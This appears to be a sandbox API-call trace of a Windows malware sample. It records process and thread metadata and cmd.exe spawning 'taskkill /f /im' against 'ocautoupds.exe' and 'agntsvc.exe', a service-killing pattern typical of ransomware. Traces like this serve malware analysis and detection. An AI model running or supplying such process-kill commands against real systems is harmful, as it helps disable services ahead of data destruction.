	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0039.206] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0039.207] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0039.207] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0039.207] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0039.207] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0039.207] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0039.207] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0039.207] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0039.207] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0039.207] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0039.207] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0039.207] GetProcessHeap () returned 0x640000
	[0039.207] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x640a10 | out: hHeap=0x640000) returned 1
	[0039.207] GetProcessHeap () returned 0x640000
	[0039.207] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xa) returned 0x64fee8
	[0039.207] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0039.208] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im ocautoupds.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x31f330*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im ocautoupds.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x31f37c | out: lpCommandLine="taskkill  /f /im ocautoupds.exe ", lpProcessInformation=0x31f37c*(hProcess=0x78, hThread=0x74, dwProcessId=0x804, dwThreadId=0x958)) returned 1
	[0039.213] CloseHandle (hObject=0x74) returned 1
	[0039.214] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0039.214] GetProcessHeap () returned 0x640000
	[0039.214] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x655ed8 | out: hHeap=0x640000) returned 1
	[0039.214] GetEnvironmentStringsW () returned 0x664a50*
	[0039.214] GetProcessHeap () returned 0x640000
	[0039.214] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xb36) returned 0x654098
	[0039.214] FreeEnvironmentStringsW (penv=0x664a50) returned 1
	[0039.214] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0039.496] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x31f270 | out: lpExitCode=0x31f270*=0x80) returned 1
	[0039.496] CloseHandle (hObject=0x78) returned 1
	[0039.496] _vsnwprintf (in: _Buffer=0x31f3b8, _BufferCount=0x13, _Format="%08X", _ArgList=0x31f27c | out: _Buffer="00000080") returned 8
	[0039.497] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0039.497] GetProcessHeap () returned 0x640000
	[0039.497] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x654098 | out: hHeap=0x640000) returned 1
	[0039.497] GetEnvironmentStringsW () returned 0x654098*
	[0039.497] GetProcessHeap () returned 0x640000
	[0039.497] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xb5c) returned 0x655ed8
	[0039.497] FreeEnvironmentStringsW (penv=0x654098) returned 1
	[0039.497] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0039.497] GetProcessHeap () returned 0x640000
	[0039.497] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x655ed8 | out: hHeap=0x640000) returned 1
	[0039.497] GetEnvironmentStringsW () returned 0x654098*
	[0039.497] GetProcessHeap () returned 0x640000
	[0039.497] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xb5c) returned 0x655ed8
	[0039.497] FreeEnvironmentStringsW (penv=0x654098) returned 1
	[0039.497] GetProcessHeap () returned 0x640000
	[0039.497] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x64fee8 | out: hHeap=0x640000) returned 1
	[0039.497] DeleteProcThreadAttributeList (in: lpAttributeList=0x31f2d4 | out: lpAttributeList=0x31f2d4) 
	[0039.497] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0039.497] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0039.497] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0039.498] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a4341ac | out: lpMode=0x4a4341ac) returned 0
	[0039.498] _get_osfhandle (_FileHandle=0) returned 0xac
	[0039.498] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a4341b0 | out: lpMode=0x4a4341b0) returned 0
	[0039.498] GetConsoleOutputCP () returned 0x1b5
	[0039.498] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a434260 | out: lpCPInfo=0x4a434260) returned 1
	[0039.498] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0039.498] exit (_Code=128) 

Process:
	id = "31"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4ad76000"
	os_pid = "0x804"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "30"
	os_parent_pid = "0x7fc"
	cmd_line = "taskkill  /f /im ocautoupds.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 179
	os_tid = 0x958


Thread:
	id = 180
	os_tid = 0x7d4


Thread:
	id = 181
	os_tid = 0x9fc


Thread:
	id = 182
	os_tid = 0x7ac


Thread:
	id = 183
	os_tid = 0x5b8


Process:
	id = "32"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4b62d000"
	os_pid = "0x9b4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im agntsvc.exeagntsvc.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 184
	os_tid = 0xa14

	[0039.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3cfbb8 | out: lpSystemTimeAsFileTime=0x3cfbb8*(dwLowDateTime=0xfd49e500, dwHighDateTime=0x1d52dc4)) 
	[0039.658] GetCurrentProcessId () returned 0x9b4
	[0039.658] GetCurrentThreadId () returned 0xa14
	[0039.658] GetTickCount () returned 0x1a266
	[0039.658] QueryPerformanceCounter (in: lpPerformanceCount=0x3cfbb0 | out: lpPerformanceCount=0x3cfbb0*=15996788837) returned 1
	[0039.659] GetModuleHandleA (lpModuleName=0x0) returned 0x49f10000
	[0039.659] __set_app_type (_Type=0x1) 
	[0039.659] __p__fmode () returned 0x74eb31f4
	[0039.659] __p__commode () returned 0x74eb31fc
	[0039.659] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49f321a6) returned 0x0
	[0039.659] __getmainargs (in: _Argc=0x49f34238, _Argv=0x49f34240, _Env=0x49f3423c, _DoWildCard=0, _StartInfo=0x49f34140 | out: _Argc=0x49f34238, _Argv=0x49f34240, _Env=0x49f3423c) returned 0
	[0039.660] GetCurrentThreadId () returned 0xa14
	[0039.660] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa14) returned 0x60
	[0039.660] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0039.660] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0039.660] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0039.660] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0039.660] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3cfb48 | out: phkResult=0x3cfb48*=0x0) returned 0x2
	[0039.660] VirtualQuery (in: lpAddress=0x3cfb7f, lpBuffer=0x3cfb18, dwLength=0x1c | out: lpBuffer=0x3cfb18*(BaseAddress=0x3cf000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0039.660] VirtualQuery (in: lpAddress=0x2d0000, lpBuffer=0x3cfb18, dwLength=0x1c | out: lpBuffer=0x3cfb18*(BaseAddress=0x2d0000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0039.660] VirtualQuery (in: lpAddress=0x2d1000, lpBuffer=0x3cfb18, dwLength=0x1c | out: lpBuffer=0x3cfb18*(BaseAddress=0x2d1000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0039.660] VirtualQuery (in: lpAddress=0x2d3000, lpBuffer=0x3cfb18, dwLength=0x1c | out: lpBuffer=0x3cfb18*(BaseAddress=0x2d3000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0039.660] VirtualQuery (in: lpAddress=0x3d0000, lpBuffer=0x3cfb18, dwLength=0x1c | out: lpBuffer=0x3cfb18*(BaseAddress=0x3d0000, AllocationBase=0x3d0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0039.660] GetConsoleOutputCP () returned 0x1b5
	[0039.661] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f34260 | out: lpCPInfo=0x49f34260) returned 1
	[0039.661] SetConsoleCtrlHandler (HandlerRoutine=0x49f2e72a, Add=1) returned 1
	[0039.661] _get_osfhandle (_FileHandle=1) returned 0xac
	[0039.661] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0039.661] _get_osfhandle (_FileHandle=1) returned 0xac
	[0039.661] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x49f341ac | out: lpMode=0x49f341ac) returned 0
	[0039.661] _get_osfhandle (_FileHandle=0) returned 0xc8
	[0039.661] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x49f341b0 | out: lpMode=0x49f341b0) returned 0
	[0039.661] GetEnvironmentStringsW () returned 0x842030*
	[0039.661] GetProcessHeap () returned 0x830000
	[0039.661] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0xaca) returned 0x842b08
	[0039.662] FreeEnvironmentStringsW (penv=0x842030) returned 1
	[0039.662] GetProcessHeap () returned 0x830000
	[0039.662] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x4) returned 0x840c60
	[0039.662] GetEnvironmentStringsW () returned 0x842030*
	[0039.662] GetProcessHeap () returned 0x830000
	[0039.662] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0xaca) returned 0x8435e0
	[0039.662] FreeEnvironmentStringsW (penv=0x842030) returned 1
	[0039.662] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ceab8 | out: phkResult=0x3ceab8*=0x68) returned 0x0
	[0039.662] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x0, lpData=0x3ceac4*=0x0, lpcbData=0x3ceabc*=0x1000) returned 0x2
	[0039.662] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x4, lpData=0x3ceac4*=0x1, lpcbData=0x3ceabc*=0x4) returned 0x0
	[0039.662] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x0, lpData=0x3ceac4*=0x1, lpcbData=0x3ceabc*=0x1000) returned 0x2
	[0039.662] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x4, lpData=0x3ceac4*=0x0, lpcbData=0x3ceabc*=0x4) returned 0x0
	[0039.662] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x4, lpData=0x3ceac4*=0x40, lpcbData=0x3ceabc*=0x4) returned 0x0
	[0039.662] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x4, lpData=0x3ceac4*=0x40, lpcbData=0x3ceabc*=0x4) returned 0x0
	[0039.662] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x0, lpData=0x3ceac4*=0x40, lpcbData=0x3ceabc*=0x1000) returned 0x2
	[0039.662] RegCloseKey (hKey=0x68) returned 0x0
	[0039.662] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3ceab8 | out: phkResult=0x3ceab8*=0x68) returned 0x0
	[0039.663] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x0, lpData=0x3ceac4*=0x40, lpcbData=0x3ceabc*=0x1000) returned 0x2
	[0039.663] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x4, lpData=0x3ceac4*=0x1, lpcbData=0x3ceabc*=0x4) returned 0x0
	[0039.663] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x0, lpData=0x3ceac4*=0x1, lpcbData=0x3ceabc*=0x1000) returned 0x2
	[0039.663] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x4, lpData=0x3ceac4*=0x0, lpcbData=0x3ceabc*=0x4) returned 0x0
	[0039.663] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x4, lpData=0x3ceac4*=0x9, lpcbData=0x3ceabc*=0x4) returned 0x0
	[0039.663] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x4, lpData=0x3ceac4*=0x9, lpcbData=0x3ceabc*=0x4) returned 0x0
	[0039.663] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3ceac0, lpData=0x3ceac4, lpcbData=0x3ceabc*=0x1000 | out: lpType=0x3ceac0*=0x0, lpData=0x3ceac4*=0x9, lpcbData=0x3ceabc*=0x1000) returned 0x2
	[0039.663] RegCloseKey (hKey=0x68) returned 0x0
	[0039.663] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163030
	[0039.663] srand (_Seed=0x5d163030) 
	[0039.663] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im agntsvc.exeagntsvc.exe \""
	[0039.663] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im agntsvc.exeagntsvc.exe \""
	[0039.663] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f35260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0039.663] GetProcessHeap () returned 0x830000
	[0039.663] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x210) returned 0x842030
	[0039.663] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x842038, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0039.664] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f40640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0039.664] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f40640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0039.664] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f40640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0039.664] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0039.664] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0039.664] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0039.664] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0039.664] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0039.664] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0039.664] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0039.664] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0039.664] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0039.664] GetProcessHeap () returned 0x830000
	[0039.664] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x842b08 | out: hHeap=0x830000) returned 1
	[0039.664] GetEnvironmentStringsW () returned 0x842248*
	[0039.664] GetProcessHeap () returned 0x830000
	[0039.664] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0xae2) returned 0x844ba8
	[0039.664] FreeEnvironmentStringsW (penv=0x842248) returned 1
	[0039.664] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49f40640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0039.664] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49f40640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0039.664] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0039.664] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0039.664] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0039.664] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0039.664] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0039.664] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0039.665] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0039.665] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0039.665] GetProcessHeap () returned 0x830000
	[0039.665] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x54) returned 0x845698
	[0039.665] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3cf884 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0039.665] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3cf884, lpFilePart=0x3cf880 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3cf880*="Desktop") returned 0x25
	[0039.665] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0039.665] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3cf600 | out: lpFindFileData=0x3cf600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x841eb0
	[0039.665] FindClose (in: hFindFile=0x841eb0 | out: hFindFile=0x841eb0) returned 1
	[0039.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3cf600 | out: lpFindFileData=0x3cf600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x841eb0
	[0039.665] FindClose (in: hFindFile=0x841eb0 | out: hFindFile=0x841eb0) returned 1
	[0039.665] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0039.665] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3cf600 | out: lpFindFileData=0x3cf600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x841eb0
	[0039.665] FindClose (in: hFindFile=0x841eb0 | out: hFindFile=0x841eb0) returned 1
	[0039.666] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0039.666] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0039.666] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0039.666] GetProcessHeap () returned 0x830000
	[0039.666] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x844ba8 | out: hHeap=0x830000) returned 1
	[0039.666] GetEnvironmentStringsW () returned 0x8440b8*
	[0039.666] GetProcessHeap () returned 0x830000
	[0039.666] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0xb36) returned 0x845ef8
	[0039.666] FreeEnvironmentStringsW (penv=0x8440b8) returned 1
	[0039.666] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f35260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0039.666] GetProcessHeap () returned 0x830000
	[0039.666] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x845698 | out: hHeap=0x830000) returned 1
	[0039.666] GetProcessHeap () returned 0x830000
	[0039.666] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x400e) returned 0x846a38
	[0039.667] GetProcessHeap () returned 0x830000
	[0039.667] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x60) returned 0x842d88
	[0039.667] GetProcessHeap () returned 0x830000
	[0039.667] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x4008) returned 0x84aa50
	[0039.667] GetProcessHeap () returned 0x830000
	[0039.667] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x4008) returned 0x84ea60
	[0039.668] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0039.669] GetProcessHeap () returned 0x830000
	[0039.669] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x418) returned 0x842df0
	[0039.669] SetErrorMode (uMode=0x0) returned 0x8003
	[0039.669] SetErrorMode (uMode=0x1) returned 0x0
	[0039.669] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x842df8, lpFilePart=0x3cf7fc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x3cf7fc*="f") returned 0x31
	[0039.669] SetErrorMode (uMode=0x8003) returned 0x1
	[0039.669] GetProcessHeap () returned 0x830000
	[0039.669] RtlReAllocateHeap (Heap=0x830000, Flags=0x0, Ptr=0x842df0, Size=0xa2) returned 0x842df0
	[0039.669] GetProcessHeap () returned 0x830000
	[0039.669] RtlSizeHeap (HeapHandle=0x830000, Flags=0x0, MemoryPointer=0x842df0) returned 0xa2
	[0039.669] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0039.669] GetProcessHeap () returned 0x830000
	[0039.669] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x72) returned 0x852a88
	[0039.669] GetProcessHeap () returned 0x830000
	[0039.669] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0xd8) returned 0x842ea0
	[0039.669] GetProcessHeap () returned 0x830000
	[0039.670] RtlReAllocateHeap (Heap=0x830000, Flags=0x0, Ptr=0x842ea0, Size=0x72) returned 0x842ea0
	[0039.670] GetProcessHeap () returned 0x830000
